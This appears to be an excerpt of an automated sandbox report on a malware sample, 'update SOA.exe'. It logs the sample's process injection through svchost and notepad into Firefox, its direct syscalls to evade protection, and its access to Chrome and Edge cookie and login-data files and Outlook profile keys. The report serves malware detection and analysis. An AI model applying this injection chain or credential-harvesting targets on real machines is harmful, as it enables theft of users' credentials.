Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30710 mov eax, dword ptr fs:[00000030h]	2_2_03A30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A60710 mov eax, dword ptr fs:[00000030h]	2_2_03A60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6F71F mov eax, dword ptr fs:[00000030h]	2_2_03A6F71F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6F71F mov eax, dword ptr fs:[00000030h]	2_2_03A6F71F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B765 mov eax, dword ptr fs:[00000030h]	2_2_03A2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B765 mov eax, dword ptr fs:[00000030h]	2_2_03A2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B765 mov eax, dword ptr fs:[00000030h]	2_2_03A2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B765 mov eax, dword ptr fs:[00000030h]	2_2_03A2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A38770 mov eax, dword ptr fs:[00000030h]	2_2_03A38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A43740 mov eax, dword ptr fs:[00000030h]	2_2_03A43740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A43740 mov eax, dword ptr fs:[00000030h]	2_2_03A43740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A43740 mov eax, dword ptr fs:[00000030h]	2_2_03A43740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6674D mov esi, dword ptr fs:[00000030h]	2_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6674D mov eax, dword ptr fs:[00000030h]	2_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6674D mov eax, dword ptr fs:[00000030h]	2_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30750 mov eax, dword ptr fs:[00000030h]	2_2_03A30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72750 mov eax, dword ptr fs:[00000030h]	2_2_03A72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72750 mov eax, dword ptr fs:[00000030h]	2_2_03A72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B03749 mov eax, dword ptr fs:[00000030h]	2_2_03B03749
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB4755 mov eax, dword ptr fs:[00000030h]	2_2_03AB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C6A6 mov eax, dword ptr fs:[00000030h]	2_2_03A6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2D6AA mov eax, dword ptr fs:[00000030h]	2_2_03A2D6AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2D6AA mov eax, dword ptr fs:[00000030h]	2_2_03A2D6AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A276B2 mov eax, dword ptr fs:[00000030h]	2_2_03A276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A276B2 mov eax, dword ptr fs:[00000030h]	2_2_03A276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A276B2 mov eax, dword ptr fs:[00000030h]	2_2_03A276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A666B0 mov eax, dword ptr fs:[00000030h]	2_2_03A666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB368C mov eax, dword ptr fs:[00000030h]	2_2_03AB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB368C mov eax, dword ptr fs:[00000030h]	2_2_03AB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB368C mov eax, dword ptr fs:[00000030h]	2_2_03AB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB368C mov eax, dword ptr fs:[00000030h]	2_2_03AB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34690 mov eax, dword ptr fs:[00000030h]	2_2_03A34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34690 mov eax, dword ptr fs:[00000030h]	2_2_03A34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC36EE mov eax, dword ptr fs:[00000030h]	2_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC36EE mov eax, dword ptr fs:[00000030h]	2_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC36EE mov eax, dword ptr fs:[00000030h]	2_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC36EE mov eax, dword ptr fs:[00000030h]	2_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC36EE mov eax, dword ptr fs:[00000030h]	2_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC36EE mov eax, dword ptr fs:[00000030h]	2_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5D6E0 mov eax, dword ptr fs:[00000030h]	2_2_03A5D6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5D6E0 mov eax, dword ptr fs:[00000030h]	2_2_03A5D6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A636EF mov eax, dword ptr fs:[00000030h]	2_2_03A636EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	2_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB06F1 mov eax, dword ptr fs:[00000030h]	2_2_03AB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB06F1 mov eax, dword ptr fs:[00000030h]	2_2_03AB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AED6F0 mov eax, dword ptr fs:[00000030h]	2_2_03AED6F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_03A6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A6C7 mov eax, dword ptr fs:[00000030h]	2_2_03A6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF16CC mov eax, dword ptr fs:[00000030h]	2_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF16CC mov eax, dword ptr fs:[00000030h]	2_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF16CC mov eax, dword ptr fs:[00000030h]	2_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF16CC mov eax, dword ptr fs:[00000030h]	2_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF6C7 mov eax, dword ptr fs:[00000030h]	2_2_03AEF6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A616CF mov eax, dword ptr fs:[00000030h]	2_2_03A616CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E627 mov eax, dword ptr fs:[00000030h]	2_2_03A4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F626 mov eax, dword ptr fs:[00000030h]	2_2_03A2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A66620 mov eax, dword ptr fs:[00000030h]	2_2_03A66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B05636 mov eax, dword ptr fs:[00000030h]	2_2_03B05636
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A68620 mov eax, dword ptr fs:[00000030h]	2_2_03A68620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3262C mov eax, dword ptr fs:[00000030h]	2_2_03A3262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A61607 mov eax, dword ptr fs:[00000030h]	2_2_03A61607
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE609 mov eax, dword ptr fs:[00000030h]	2_2_03AAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6F603 mov eax, dword ptr fs:[00000030h]	2_2_03A6F603
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4260B mov eax, dword ptr fs:[00000030h]	2_2_03A4260B

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtTerminateThread: Direct from: 0x76EF2FCC	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\update SOA.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\notepad.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: NULL target: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: NULL target: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\notepad.exe

Thread register set: target process: 4568

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\notepad.exe

Thread APC queued: target process: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\update SOA.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2F55008

Source: C:\Users\user\Desktop\update SOA.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\update SOA.exe"	Jump to behavior
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Process created: C:\Windows\SysWOW64\notepad.exe "C:\Windows\SysWOW64\notepad.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: HAdkDWMZRiGMZe.exe, 00000004.00000002.3883262127.0000000001471000.00000002.00000001.00040000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000004.00000000.2266594556.0000000001471000.00000002.00000001.00040000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000006.00000002.3883352596.00000000016D1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: HAdkDWMZRiGMZe.exe, 00000004.00000002.3883262127.0000000001471000.00000002.00000001.00040000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000004.00000000.2266594556.0000000001471000.00000002.00000001.00040000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000006.00000002.3883352596.00000000016D1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: HAdkDWMZRiGMZe.exe, 00000004.00000002.3883262127.0000000001471000.00000002.00000001.00040000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000004.00000000.2266594556.0000000001471000.00000002.00000001.00040000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000006.00000002.3883352596.00000000016D1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: update SOA.exe	Binary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
Source: HAdkDWMZRiGMZe.exe, 00000004.00000002.3883262127.0000000001471000.00000002.00000001.00040000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000004.00000000.2266594556.0000000001471000.00000002.00000001.00040000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000006.00000002.3883352596.00000000016D1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3882344624.0000000002B80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3883839683.0000000005350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2343330383.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3886044229.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2343906085.0000000006650000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3883738653.0000000004A30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2343594491.0000000003790000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3883798608.0000000004A80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\notepad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\notepad.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
